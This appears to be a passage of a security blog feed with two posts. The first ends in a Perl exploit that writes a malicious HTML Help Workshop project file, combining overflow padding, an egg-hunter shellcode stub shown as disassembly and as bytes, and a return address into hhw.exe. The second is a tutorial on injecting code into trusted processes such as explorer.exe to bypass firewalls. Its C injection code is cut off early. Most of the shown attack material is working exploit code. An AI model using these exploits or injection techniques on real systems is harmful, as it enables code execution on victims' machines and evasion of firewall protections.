    <span style="color: #666666; font-style: italic;">#01D717DF   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E2   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E5   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E8   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EB   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EE   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F1   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F4   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F7   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FA   83C4 54          ADD ESP,54                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FD   33FF             XOR EDI,EDI                   |</span>
    <span style="color: #666666; font-style: italic;">#01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |</span>
    <span style="color: #666666; font-style: italic;">#01D71806   EB 0E            JMP SHORT 01D71816            |</span>
    <span style="color: #666666; font-style: italic;">#01D71808   58               POP EAX                       |</span>
    <span style="color: #666666; font-style: italic;">#01D71809   83E8 3C          SUB EAX,3C                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7180C   50               PUSH EAX                      |</span>
    <span style="color: #666666; font-style: italic;">#01D7180D   6A FF            PUSH -1                       |</span>
    <span style="color: #666666; font-style: italic;">#01D7180F   33DB             XOR EBX,EBX                   |</span>
    <span style="color: #666666; font-style: italic;">#01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |</span>
    <span style="color: #666666; font-style: italic;">#01D71814   EB 05            JMP SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71816   E8 EDFFFFFF      CALL 01D71808                 |</span>
    <span style="color: #666666; font-style: italic;">#01D7181B   B8 12121212      MOV EAX,12121212              |</span>
    <span style="color: #666666; font-style: italic;">#01D71820   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71828   83C7 20          ADD EDI,20                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182F  ^75 F7            JNZ SHORT 01D71828            |</span>
    <span style="color: #666666; font-style: italic;">#01D71831   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D71834   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71839  ^75 E0            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D7183B   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7183E   B8 42424242      MOV EAX,42424242              |</span>
    <span style="color: #666666; font-style: italic;">#01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71845  ^75 D4            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71847   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7184A   FFE7             JMP EDI                       |</span>
    <span style="color: #666666; font-style: italic;">#\-----------------------End of Code----------------------/</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>1e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>54&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>0e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>3c&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>db&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>23&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>e0&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>d4&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>e7&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">280</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">55</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #0000ff;">$len</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">55</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#0x00401f93   CALL EDI [hhw.exe]</span>
&nbsp;
    <span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt; s.hhp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$hhpprj_file</span> <span style="color: #0000ff;">$hhp_data1</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$ret</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$hhp_data2</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout4</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Bypass firewall with Process Injection</title>
		<link>http://www.abysssec.com/blog/2009/01/03/how-bypass-firewall-with-process-injection/</link>
		<comments>http://www.abysssec.com/blog/2009/01/03/how-bypass-firewall-with-process-injection/#comments</comments>
		<pubDate>Fri, 02 Jan 2009 20:52:52 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[Fuzzing / Auditing]]></category>
		<category><![CDATA[Pen-test Method]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=236</guid>
		<description><![CDATA[Hello Friends . First question is why Process  Injection ? in this method we can attach evil Process to permitted Process . as you know , firewalls Permit to some Process , like : Internet explorer [IE] or Firefox or windows update or &#8230;  .  this Processes can connect to Internet very well [ often  [...]]]></description>
			<content:encoded><![CDATA[<p>Hello Friends .</p>
<p>First question is why Process  Injection ?</p>
<p>in this method we can attach evil Process to permitted Process . as you know , firewalls Permit to some Process , like : Internet explorer [IE] or Firefox or windows update or &#8230;  .  this Processes can connect to Internet very well [ often  ] .</p>
<p><strong>Process injection</strong> , <strong>Dll injection</strong> , <strong>&#8220;PE injection &#8220;</strong> are methods to bypass firewalls [This Methods called as  : Leak Firewall ] .</p>
<p>in dll injection , we injects dll  into an application process area, and references to his own 					malicious DLL to make firewall believes that it&#8217;s the application which is using the DLL .</p>
<p>Today when we talk about injection, we are talking about a DLL that is loaded into a running process’s memory.  as we know Windows  is now designed for this, and injection techniques can be used by any application.  Some applications use it to add features to a closed-source program [for example : Babylon Dictionary is One of them ] .</p>
<p>I,m not intend to talk about these [dll ,process Injection ] at this time . and i just want  talk about Process injection [ or hijack] to bypass firewalls .</p>
<p>Attention To modeling :</p>
<p><strong>Principle of application run [default ] :</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/principle-of-application-run.png"><img class="alignnone size-full wp-image-240" title="principle-of-application-run" src="http://abysssec.com/blog/wp-content/uploads/2008/12/principle-of-application-run.png" alt="principle-of-application-run" width="350" height="247" /></a></p>
<p><strong>when inclusion of a dynamic library [dll]   :</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/method-for-inclusion-of-a-dynamic-library.png"><img class="alignnone size-full wp-image-241" title="method-for-inclusion-of-a-dynamic-library" src="http://abysssec.com/blog/wp-content/uploads/2008/12/method-for-inclusion-of-a-dynamic-library.png" alt="method-for-inclusion-of-a-dynamic-library" width="302" height="138" /></a></p>
<p><strong><span onmouseover="_tipon(this)" onmouseout="_tipoff()"> <span class="small">inserting malicious code in</span></span> <span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small">the process of confidence :</span></span></strong></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/code-inject.png"><img class="alignnone size-medium wp-image-243" title="code-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/code-inject-300x136.png" alt="code-inject" width="300" height="136" /></a></span></span></p>
<p><strong><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small">Used internet Explorer [trusted Software ] for injection :</span></span></strong></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/used-from-browser-to-inject.png"><img class="alignnone size-medium wp-image-244" title="used-from-browser-to-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/used-from-browser-to-inject-300x136.png" alt="used-from-browser-to-inject" width="300" height="136" /></a><br />
</span></span></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><br />
</span></span></p>
<p><span id="src39" class="srcSentence">The following illustration shows the general Code injection  with windows API method [virtualAllocEX(),..]<br />
</span></p>
<p><span class="srcSentence"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/kernel-process-inject.jpg"><img class="alignnone size-medium wp-image-237" title="kernel-process-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/kernel-process-inject-242x300.jpg" alt="kernel-process-inject" width="242" height="300" /></a><br />
</span></p>
<p>how to Inject Process : [with C cod ]</p>
<p>for firewall bypass we have 4 part :</p>
<p>- Open one process “P”<br />
- Allocate memory remotely in “P” space<br />
- Copy the code to remote process<br />
- Create a thread to execute the code remotely<br />
<strong>[will happen]</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/process-inject-map1.jpg"><img class="alignnone size-full wp-image-239" title="process-inject-map1" src="http://abysssec.com/blog/wp-content/uploads/2008/12/process-inject-map1.jpg" alt="process-inject-map1" width="576" height="386" /></a></p>
<p><strong>Example Of Process Injection In EXPLORER.EXE [code ]:</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">&nbsp;
    <span style="color: #339933;">#pragma comment(lib,&quot;Shlwapi.lib&quot;)</span>
    <span style="color: #339933;">#pragma comment(lib,&quot;ADVAPI32.LIB&quot;)</span>
    <span style="color: #339933;">#include &lt;stdio.h&gt;</span>
    <span style="color: #339933;">#include &lt;windows.h&gt;</span>
    <span style="color: #339933;">#include &lt;Shlwapi.h&gt;</span>
    <span style="color: #339933;">#include &lt;tlhelp32.h&gt;</span>
    <span style="color: #339933;">#define INJECT_EXE  &quot;explorer.exe&quot;</span>
&nbsp;
    <span style="color: #993333;">typedef</span> <span style="color: #993333;">struct</span> _RPar
    <span style="color: #009900;">&#123;</span>
    DWORD dwDeleteFile<span style="color: #339933;">;</span>
    DWORD dwSleep<span style="color: #339933;">;</span>
    DWORD dwMessageBox<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> Filename<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> string1<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> string2<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> RPar<span style="color: #339933;">;</span>
    DWORD __stdcall ThreadProc<span style="color: #009900;">&#40;</span>RPar <span style="color: #339933;">*</span>Para<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    FARPROC PDeleteFile <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwDeleteFile<span style="color: #339933;">;</span>
    FARPROC PSleep <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwSleep<span style="color: #339933;">;</span>
    FARPROC PMessageBox <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwMessageBox<span style="color: #339933;">;</span>
&nbsp;
    PMessageBox<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span>Para<span style="color: #339933;">-&gt;</span>string1<span style="color: #339933;">,</span>Para<span style="color: #339933;">-&gt;</span>string2<span style="color: #339933;">,</span>MB_OK<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span>PDeleteFile<span style="color: #009900;">&#40;</span>Para<span style="color: #339933;">-&gt;</span>Filename<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>PSleep<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #993333;">int</span> _stdcall WinMain<span style="color: #009900;">&#40;</span>HINSTANCE hInst<span style="color: #339933;">,</span> HINSTANCE hPrevInst<span style="color: #339933;">,</span> LPSTR lpCmd<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> nCmdShow<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    DWORD dwThreadId<span style="color: #339933;">,</span>pID<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>dwThreadSize<span style="color: #339933;">=</span><span style="color: #0000dd;">2048</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">void</span> <span style="color: #339933;">*</span>pRemoteThread<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> ExeFile<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    HANDLE hProcess<span style="color: #339933;">,</span>hSnap<span style="color: #339933;">;</span>
    HINSTANCE hKernel<span style="color: #339933;">,</span> hUser<span style="color: #339933;">;</span>
    RPar my_RPar<span style="color: #339933;">,*</span>pmy_RPar<span style="color: #339933;">;</span>
    PROCESSENTRY32 pe32 <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
